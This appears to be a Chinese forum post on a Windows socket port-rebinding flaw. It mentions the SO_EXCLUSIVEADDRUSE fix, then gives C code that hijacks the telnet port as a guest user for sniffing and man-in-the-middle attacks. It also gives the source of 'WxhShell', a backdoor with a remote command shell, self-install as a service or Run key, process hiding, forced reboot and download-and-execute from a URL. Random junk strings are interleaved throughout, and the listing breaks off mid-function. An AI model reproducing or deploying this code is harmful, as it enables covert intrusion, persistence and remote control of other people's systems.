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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ):+^893) s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); FbdC3G|oA DKlHXEt> saddr.sin_family = AF_INET; |tY6+T} tg%<@U`7= saddr.sin_addr.s_addr = htonl(INADDR_ANY); {9@E[bWp# \ X6y".|- bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 2l+'p[b0> [m
x}n+~ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ex|)3|J h4slQq~K 这意味着什么?意味着可以进行如下的攻击: {c1wJ >9g^-~X;v 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 guy!/zQ>A Br$/hn= 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) )5<dmK@ |CS&H2!s 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 u0uz~ s q{yzux 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 u7p:6W z%6egi> 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 h^K>(x l29AC}^ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 9 771D <(qdxdUp 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Z\?!&& eLyIQo W #include 2NL|_W/ #include iVqF]2> #include _B ]Bd@<w #include wp/x|AV DWORD WINAPI ClientThread(LPVOID lpParam); b\t@vMJ int main() F<6{$YI { 38JU-aq WORD wVersionRequested; /#xYy^` DWORD ret; D>wo>,G WSADATA wsaData; *EtC4sP BOOL val; =\<!kJ\yH SOCKADDR_IN saddr; \ItAc2,Fl SOCKADDR_IN scaddr; KkHlMwv int err; 0`WZ SOCKET s; W?@+LQa?? SOCKET sc; hP1;$ int caddsize; 9+>%U~U< HANDLE mt; JDMsco+j5 DWORD tid; IZ_ B $mo wVersionRequested = MAKEWORD( 2, 2 ); Y9(BxDP_+Y err = WSAStartup( wVersionRequested, &wsaData ); VqB9^qJ]! if ( err != 0 ) { IG@@CH printf("error!WSAStartup failed!\n"); 4_Rv}Yd return -1; "w{,ndZ } 23UXOY0BW saddr.sin_family = AF_INET; PuU< l_=kW!l //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 0h 2MmI# z;i4F.p saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 5z:/d `P[ saddr.sin_port = htons(23); \cq.M/p if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Yf^/YLLS { Vg"Ze[dA
printf("error!socket failed!\n"); >z8y L+ return -1; ;
>>/}Jw\ } +Sdki:: val = TRUE; C;!h4l7L //SO_REUSEADDR选项就是可以实现端口重绑定的 v{>9&o.J if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Aq P\g k { 1 ^=[k printf("error!setsockopt failed!\n"); ?B,B<@='% return -1;
PYYO-Twg } 8"S?
Toqq //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; "LH* T //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 _^0)T@ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 8uhB&qxB Bcy$"F|r if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Z$a4@W9o { l{x?i00tAS ret=GetLastError(); ZZl4| printf("error!bind failed!\n"); ('pxX+ return -1; 5B=Wnau } p}swJ;S listen(s,2); GB_m&t
while(1) }tZA7),L { _`Sz}Yk caddsize = sizeof(scaddr); 6hm6h7$F1 //接受连接请求 C!" .[3 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ;R?9|:7 if(sc!=INVALID_SOCKET) :`P;(h { 4)nQBFX mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 9^c"HyR if(mt==NULL) QWGFXy,=1 { "ae55ft// printf("Thread Creat Failed!\n"); S\UM0G}v break; !P26$US%P } RsDI7v } $yb8..+ CloseHandle(mt); wbId}! } H{T)?J~ closesocket(s); uy;3s=03^ WSACleanup(); ^i^S1h"
return 0; \:?H_^^d } .tb~f@xL DWORD WINAPI ClientThread(LPVOID lpParam) @]h#T4z' { 4[&6yHJ^ SOCKET ss = (SOCKET)lpParam; t hDE
1h SOCKET sc; ~1h-LbFI2 unsigned char buf[4096]; ?Xo9,4V1 SOCKADDR_IN saddr; ;"nEEe]? long num; JhDjY8?86 DWORD val; M$gy J!Pb DWORD ret; }q
?iJ?P //如果是隐藏端口应用的话,可以在此处加一些判断 \rf1#Em //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 `"CF/X^ saddr.sin_family = AF_INET; h OboM3_ saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); uyG4zV\h* saddr.sin_port = htons(23); L4;n$=e if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |R*fw(=W { I>-jKSkwc printf("error!socket failed!\n"); s}9aZ return -1; GW{Nc!) } CsR~qQ
5 val = 100; I|O~F e. if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7F'61}qL { D_9/|:N: ret = GetLastError(); 1
)j%]zd2 return -1; 4!gyFi6$ } ._tv$Gd@k if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) IW1]H~1w { "rjJ"u1 ret = GetLastError(); tXKhkt` return -1; \^-3)*r } C.(ZXU7 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Y!*,G]7 { sq)Nn&5A printf("error!socket connect failed!\n"); ?I/,r2ODLh closesocket(sc); Cm;N5i closesocket(ss); T)Nis~ return -1; m&A/IW,. } a*IJ)'S while(1) BkqIfV%O { ) L{Tn8 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 oG*lUh} //如果是嗅探内容的话,可以再此处进行内容分析和记录 VBCj.dw //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 oC[wYUDg num = recv(ss,buf,4096,0); Mm[%v
t40 if(num>0) {G{@bUG]p send(sc,buf,num,0); &&<^wtznO else if(num==0) DU7Ki6 break; $z,bA*j9 num = recv(sc,buf,4096,0); Om1z
if(num>0) <0LB]zDWe6 send(ss,buf,num,0); 2.lnT{ else if(num==0) \A~
'& break; X)&Z{ V> } !eTS PM closesocket(ss); Ph%s.YAZ~ closesocket(sc); OVh/t#On return 0 ; ~fUSmc } ?\pE#~m S2s-TpjB< +|8Lt[^ux ========================================================== k?8W2fC Sd\@Q%
}o\ 下边附上一个代码,,WXhSHELL 0Its;| [qI* ] ========================================================== GB+d0 S4 `x#~- #include "stdafx.h" z$V8<&q !fV6KkV #include <stdio.h> J-ZM1HoB #include <string.h> ~R8yj( #include <windows.h>
=*Yc/ #include <winsock2.h> c]n03o #include <winsvc.h> w${=dW@K #include <urlmon.h> *Fc&DQT( "PHv~_:^R #pragma comment (lib, "Ws2_32.lib") 3"hR:'ts #pragma comment (lib, "urlmon.lib") ^U?(g0<" Sp )} #define MAX_USER 100 // 最大客户端连接数 ri;M7rg`.{ #define BUF_SOCK 200 // sock buffer BT1'@qF #define KEY_BUFF 255 // 输入 buffer 3.H-G~ @~XlI1g$i #define REBOOT 0 // 重启 >y~_Hh(TSL #define SHUTDOWN 1 // 关机 \xZBu" *;d)'7< #define DEF_PORT 5000 // 监听端口 MdjLAD)f+C ^k(eRs;K #define REG_LEN 16 // 注册表键长度 M(E_5@?3 #define SVC_LEN 80 // NT服务名长度 |K-lgrA "3MUrIsB> // 从dll定义API O*v+<|0!l typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); xwxj j typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); QX=;,tr typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ]."c4S_)| typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); M\6`2q L#
1vf // wxhshell配置信息 &s;^q struct WSCFG { XXcf!~uO int ws_port; // 监听端口 Lx{N%;t*E char ws_passstr[REG_LEN]; // 口令 K@~#Gdnl int ws_autoins; // 安装标记, 1=yes 0=no hNo>)$v!s char ws_regname[REG_LEN]; // 注册表键名 Z+W&C@Uw char ws_svcname[REG_LEN]; // 服务名 'uzv\[ char ws_svcdisp[SVC_LEN]; // 服务显示名 F s\P/YX char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;T+U&U0d| char ws_passmsg[SVC_LEN]; // 密码输入提示信息 TkoXzG8yE< int ws_downexe; // 下载执行标记, 1=yes 0=no wT=hO+ char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" RT"2Us]* char ws_filenam[SVC_LEN]; // 下载后保存的文件名 B/hHkOoo `UK+[`E }; UeMe4$m JwtI(>cI // default Wxhshell configuration da'E"HN@G~ struct WSCFG wscfg={DEF_PORT, AJd.K'=8 "xuhuanlingzhe", 2rtP.*dd 1, 'f7
*RSKqb "Wxhshell", ]q7 LoH'S "Wxhshell", V FSn!o:C "WxhShell Service", XW Q0V "Wrsky Windows CmdShell Service", cu?(P;mQi "Please Input Your Password: ", Q]5^Eiq8 1, vW-`=30 " http://www.wrsky.com/wxhshell.exe", },aWCvJL "Wxhshell.exe" .^IhH|U }; x<\D@X^ M .` // 消息定义模块 a`~eC)T char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ' VEr4& char *msg_ws_prompt="\n\r? for help\n\r#>"; L(n/uQ
: char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; wy-
C~b'Qd char *msg_ws_ext="\n\rExit."; /+t[, char *msg_ws_end="\n\rQuit."; :+Q"MIU char *msg_ws_boot="\n\rReboot..."; y2$;t' char *msg_ws_poff="\n\rShutdown..."; q VdC ?A| char *msg_ws_down="\n\rSave to "; ]z=Vc#+! EN)A" char *msg_ws_err="\n\rErr!"; IPR tm! char *msg_ws_ok="\n\rOK!"; T|s0qQi 6 _5d char ExeFile[MAX_PATH]; "I}Z2 int nUser = 0; _RL-6jw#o HANDLE handles[MAX_USER]; !HjNx%o5< int OsIsNt; MhI)7jj`mt C{hcK 1-K SERVICE_STATUS serviceStatus; ?6iatI ! SERVICE_STATUS_HANDLE hServiceStatusHandle; qm}>J^hnB# YqSXi~. // 函数声明 rt^45~ int Install(void); I>%S4Z+o int Uninstall(void); LJ(n?/z% int DownloadFile(char *sURL, SOCKET wsh); yLz,V} int Boot(int flag); ^[,s_34V void HideProc(void); L=HVdeE int GetOsVer(void); >U~|R=* int Wxhshell(SOCKET wsl); WTD49_px void TalkWithClient(void *cs); H
:
T N int CmdShell(SOCKET sock); O GFE* int StartFromService(void); *Cnq2=A]A int StartWxhshell(LPSTR lpCmdLine); %+xwk=%* 5M Wvu,'%8 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); R@<_Hb;Aeb VOID WINAPI NTServiceHandler( DWORD fdwControl ); .i+* #djx j|&DP-@g/ // 数据结构和表定义 PNJe&q0* SERVICE_TABLE_ENTRY DispatchTable[] = m@Ip^]9ry { >WGP{ {wscfg.ws_svcname, NTServiceMain}, 9fuJJ3L[ {NULL, NULL} >I d!I }; 9PKoNd^e N2tkCkl^x9 // 自我安装 -jVaS wt int Install(void) ~y)bYG!G { JEsLF{ char svExeFile[MAX_PATH]; ^RV HKEY key; CzSZ>E$%U strcpy(svExeFile,ExeFile); B.YMP;7> ~ThVap[* // 如果是win9x系统,修改注册表设为自启动 Q=(@K4 if(!OsIsNt) { /^'Bgnez if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U=kx`j> RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?Q96,T-)
c RegCloseKey(key); \TbsoWX if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `S \zqF< RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D1X4|Q*SK RegCloseKey(key); ;}/U+`=D? return 0; b "
")BT } #v4LoNm } zJ;>.0 } W|25t)cJ8h else { h(@R]GUX oTCzY Y // 如果是NT以上系统,安装为系统服务 > -y&$1 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); OJP5k/U$ if (schSCManager!=0) (#6AKr9K { }bf=Ntk SC_HANDLE schService = CreateService S\e&?Y` ( SyK 9Is{8 schSCManager, Vi|7%!j< wscfg.ws_svcname, N]14 wscfg.ws_svcdisp, +Edzjf~Tt SERVICE_ALL_ACCESS, >Mvka;T] SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , MA\m[h] SERVICE_AUTO_START, 7qe7Fl3 SERVICE_ERROR_NORMAL, S!;LF4VA svExeFile, KD% TxK NULL, .u1X+P7 NULL, Vb@4(Q NULL, mZ~ qG5@/F NULL, 7} be>( NULL q!6|lZ B3 ); 0"EoC if (schService!=0) :{LAVMG&^ { vS OT*0r CloseServiceHandle(schService); QyPg
|#T2> CloseServiceHandle(schSCManager); (1 CJw: strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ha*X6R strcat(svExeFile,wscfg.ws_svcname); i S% if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { VFv9Q2/. RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); CqqXVF3 RegCloseKey(key); Q48+O?&
return 0; 25:Z;J> } kG/X"6pZ } LVnHt} CloseServiceHandle(schSCManager); D+Cm<ZT~ } #(C/Cx54 } ![ZmV g\Wj+el} return 1;
(}Sr08m } <FY&h# }e 9!xA // 自我卸载 `)32&\ int Uninstall(void) n` q2s'Pc { #EbGL])F} HKEY key; j{"z4Y4 "O*x' XhN if(!OsIsNt) { 8pXKO"u], if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -ynBi;nH RegDeleteValue(key,wscfg.ws_regname); n@!wp/J, RegCloseKey(key); 62[8xn=(%
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \fZiL!E^7 RegDeleteValue(key,wscfg.ws_regname); {.st`n|xz RegCloseKey(key); -v+&pG?m return 0; q-nER< } i9rS6<V' } 0VN7/=n| } %,\=s.~1 else { !Xj#@e whye)w SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _qn?2u3mnR if (schSCManager!=0) a(;!O}3_)( { 3e% nA8? SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^~$\ g] if (schService!=0) h}Rx_d { VO=!8Yx[ if(DeleteService(schService)!=0) { ?cKZ_c CloseServiceHandle(schService); K R, z^9 CloseServiceHandle(schSCManager); IA4N@ijRxh return 0; |7"$ w%2 } 2N5`' CloseServiceHandle(schService); bFY~oa%C } 1@>$ Gcc CloseServiceHandle(schSCManager); Y9Z]i$qS&k } _ \D"E>oM } >oGiIYq :ofBzTNwZ return 1; 0
Y>M=| } =dZHYO^Cv ^{F_a // 从指定url下载文件 KkcXNjPVS int DownloadFile(char *sURL, SOCKET wsh) /vxm"CJR { +l E90y HRESULT hr; -MBV$:_R char seps[]= "/"; GIyF81KR 3 char *token; DY\J[l<< char *file; iEm ? char myURL[MAX_PATH]; ALc`t(..}A char myFILE[MAX_PATH]; XJ1=m ,WDX( strcpy(myURL,sURL); )Ry<a$Q3 token=strtok(myURL,seps); dOFD5}_ while(token!=NULL) o`n$b(VZ { *JX;|S file=token; W$0^(FH[ token=strtok(NULL,seps); c!#:E` } Y}s@WJ E&`Nh5 JfC GetCurrentDirectory(MAX_PATH,myFILE); >R\lqLILb, strcat(myFILE, "\\"); eJ0?=u!x strcat(myFILE, file); a5YIUVCv send(wsh,myFILE,strlen(myFILE),0); rHjq1-t send(wsh,"...",3,0); :Dt~e| hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); zFz10pH if(hr==S_OK) +Q$h ]^>~ return 0; #P<N^[m else #]P9b@@e return 1; ,<-G<${ !-<p,z } |`TgX@,#9 A@hppaP! // 系统电源模块 8[vc?+>& int Boot(int flag) ]hos+;4p { V#REjsf,t- HANDLE hToken; N@ \&1I`c$ TOKEN_PRIVILEGES tkp; LbEM^D f| _u7"OX if(OsIsNt) { d.UQW
yLG OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); L){iA-k;Ec LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); R;,g1m|] tkp.PrivilegeCount = 1; i4Lc$20?d tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; wX >*H AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); gzoEUp=s if(flag==REBOOT) { I[)% , jd if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) hj'(*ND7z return 0; 7frTTSZ } ls@i".[ else { wLK07e( if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;AO#xv+# return 0; 8YC_3Yi% } _XCOSomL` } q$I:`& else { y@0E[/O if(flag==REBOOT) { (x/k.& if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) k0Ol*L!p return 0; DC{>TC[p1k } aDO! else { lXcx@#~ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) AGLscf. return 0; 94B\5I} } *G*
k6.9W! } ggJO:$?$L :Nofp& return 1; 9eH$XYy } 5[c^TJ3 'Lu__NfN // win9x进程隐藏模块 .l.a(_R void HideProc(void) (Jz1vEEV { J0@X<Lt U }GeSu|m( HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); : |>Gc39`t if ( hKernel != NULL ) z11O F { 6Vz9?puD pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); q
FAT]{{ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ZIQ
[bE7 FreeLibrary(hKernel); w@{= nD4p } V$ps> -3Hy*1A. return; ;qm
D50:% } Z'\h thI
F& // 获取操作系统版本 /pT=0= int GetOsVer(void) ' ~8KSF*!p { C#Na&m OSVERSIONINFO winfo; [Al& winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); N<XNTf GetVersionEx(&winfo); neLAEHV if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ev*k*0
return 1; sVOyT*GY else S[J}UpV return 0; B!?%O } $42{HFGq njputEGX // 客户端句柄模块 =w{Z@S(ukz int Wxhshell(SOCKET wsl) 5fd]v< { Jcrw#l8|C SOCKET wsh; L6|oyf struct sockaddr_in client; :g Wu9Y|{ DWORD myID; 9-fLz?J NgP&.39U while(nUser<MAX_USER) KV0]m^@x { %5"9</a&G int nSize=sizeof(client); #Up86(Z wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @eKec1< if(wsh==INVALID_SOCKET) return 1; hvsWs.;L' "W955?4m handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); huh6 t ! if(handles[nUser]==0) 0"28' closesocket(wsh);
CDK5 else qKr8)}h nUser++; Q7jb'y$ozO } Bf ~vA4 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); KUlp"{a`,K G}b]w~ML~ return 0; of%Ktm5Qi } Y[}>CYO __G?0*3 G // 关闭 socket L.*M&Ry void CloseIt(SOCKET wsh)
KY$)#i { s %j_H closesocket(wsh); +M\`#i\g> nUser--; dMv=gdY ExitThread(0); iTgt}]L } e> e}vZlX &8Cu#^3
// 客户端请求句柄 7q?,
? void TalkWithClient(void *cs) #S!)JM|4wk { lrlgz[ MyJ%`@+1 SOCKET wsh=(SOCKET)cs; N8F~8lTi char pwd[SVC_LEN]; Z>:NPZODf char cmd[KEY_BUFF]; Ug>~Rq] char chr[1]; 5Ha9lM2gh int i,j; 4'/nax$Bx; E7j(QOf while (nUser < MAX_USER) { v_+{'F .,<1%-R34q if(wscfg.ws_passstr) { M ?Y;a5{ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [8 ]z|bM //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `u3EU*~W //ZeroMemory(pwd,KEY_BUFF); /?5 1D@ i=0; gc_:%ki while(i<SVC_LEN) { iVhJ t#_b \A 2r] // 设置超时 } gyj0 fd_set FdRead; YxYH2*q@ struct timeval TimeOut; %?0:vn FD_ZERO(&FdRead); N.,X<G.H FD_SET(wsh,&FdRead); Ns>-
o TimeOut.tv_sec=8; fInb[ TimeOut.tv_usec=0; 6Zm# bFQ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); dk[!V1x4\ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _mqL8ho 'f!8DGix if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :%tU'w pwd =chr[0]; 7Wf/$vRab if(chr[0]==0xd || chr[0]==0xa) { eVjBGJ=2e pwd=0; %
L$bf# break; _<n~n]% }
_C%3h5 i++; '\l" } S'Q@ScJ `uv2H$ // 如果是非法用户,关闭 socket M8kPj8}{ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); M'7f O3&| } PS)4 I&;U hO\<%0F send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); E:UW#S%A
f send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =)0,#9k U] >,V9H$n while(1) { s 1A.+ $Xv* ,Bq ZeroMemory(cmd,KEY_BUFF); b z`+ k,* B]nEkO'a: // 自动支持客户端 telnet标准 K[I=6 j=0; u1J0$ while(j<KEY_BUFF) { ,?J! if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "0"nw2g? cmd[j]=chr[0]; {f Py=,>Nb if(chr[0]==0xa || chr[0]==0xd) { vv72x] cmd[j]=0; X&tF;<m^ break; 5Yg'BkEr } zJq~!#pZ j++; Z^bQ^zk- } &jS>UsGh G)EU_UE9 // 下载文件 k :(SCHf if(strstr(cmd,"http://")) { \\iQEy<i send(wsh,msg_ws_down,strlen(msg_ws_down),0); CuaVb1r if(DownloadFile(cmd,wsh)) R3
-n>V5o send(wsh,msg_ws_err,strlen(msg_ws_err),0); Km qMFB62 else -$pzl,^ h send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ih58<Up5 } @:oXN]+
_ else { }s7$7 Yxr>"KH6a switch(cmd[0]) { QmQ=q7 JA %J$d // 帮助 TJ10s%,V case '?': { I:=S0&%) send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &fDIQISC break; n<Z({\9&H } {j{u6i // 安装 UE8kpa)cQ case 'i': { ..IfP@ if(Install()) dcDyK!zz" send(wsh,msg_ws_err,strlen(msg_ws_err),0); u}#(.)a: else +Zb;Vn4 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LD+{o 4i
break; !]"@kl% } n4O]8C'lW9 // 卸载 T`9lV2x*P case 'r': { 'F/~o1\. if(Uninstall()) :N:yLd} & send(wsh,msg_ws_err,strlen(msg_ws_err),0); EuEZ D+ else Z_LFIz*c send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `fA@hK
break; K%,2=. } zG }@0 // 显示 wxhshell 所在路径 .UQzPnK case 'p': { *l"T$H char svExeFile[MAX_PATH]; 1jx:;j strcpy(svExeFile,"\n\r"); _?-E7:Sw strcat(svExeFile,ExeFile); U'k*_g send(wsh,svExeFile,strlen(svExeFile),0); oK9( /v break; evya7^,F } TYy?KG>:' // 重启 Ab~3{Q]# case 'b': { .8 2P(}h send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); j%Y#(Q> if(Boot(REBOOT)) ?U%qPv: send(wsh,msg_ws_err,strlen(msg_ws_err),0); |.(dq^ else { ])[[ V!1 closesocket(wsh); S){)Z ExitThread(0); `Syl:rU~y@ } E:,/!9n break; J-[,KME_^ } IDad9 Bx // 关机 7!evm;A case 'd': { sSr&:BOsi send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~Z -Vs if(Boot(SHUTDOWN)) `vU%*g&R send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;"xfOzQ else { 272q1~& closesocket(wsh); [xK3F+ ExitThread(0); lz/8 } >Ifr [ break; ZAW^/bo< } df*#!D7oz // 获取shell hnffz95 case 's': { Ka'=o?'B5 CmdShell(wsh); TeMHm?1^ closesocket(wsh); 2VPdw@"~} ExitThread(0);
kq?Ms|h break; <3oWEm } aacpM[{f // 退出 {IjF+@I case 'x': { uY{|szC^2 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ve8=b0&Y#j CloseIt(wsh); hM_lsc break; DKH-Q(M56 } kF3k7,.8& // 离开 }cM}Oavh case 'q': { "0$a)4] send(wsh,msg_ws_end,strlen(msg_ws_end),0); ru'F6?d closesocket(wsh); biL s+\C WSACleanup(); vXev$x=w- exit(1); mJ<=n?{Z break; Oylf<&knF\ } 32(^Te]: } '%>=ZhO } o m!!Sl 3 {Je[ZQ$ // 提示信息 l\f*d6o if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *tGY6=7O } !:)s"|= } +<'Ev~ oxr#7Ei0d return; BIH-"vTy } IWk4&yHUAu 6 [k\@&V- // shell模块句柄 Plc-4y1 int CmdShell(SOCKET sock) 6S},(= { |O3q@ STARTUPINFO si; E!;SL|lj. ZeroMemory(&si,sizeof(si)); 3v(* 5 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; N[?N5~jG si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .28<tEf PROCESS_INFORMATION ProcessInfo; 5b5x!do char cmdline[]="cmd"; } j<)L, CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \c,ap49RC return 0; /pm]BC } o5d%w-' XWnVgY s // 自身启动模式 ag;Q F int StartFromService(void) a,Sw4yJ!Q { 85>05? typedef struct Yy5h"r { eJ,/:=QQ{ DWORD ExitStatus; :X"?kK0 V DWORD PebBaseAddress; 0*VWzH
DWORD AffinityMask; ih)zG DWORD BasePriority; [2>yYr s_= ULONG UniqueProcessId; y>:N{| ULONG InheritedFromUniqueProcessId; FSP+?(( } PROCESS_BASIC_INFORMATION; K'55O&2 >f^r^P PROCNTQSIP NtQueryInformationProcess; ><RpEnWZ< uyO/55;HO static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~3^
8>d/ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Y)1PB+ Q}`0W[a
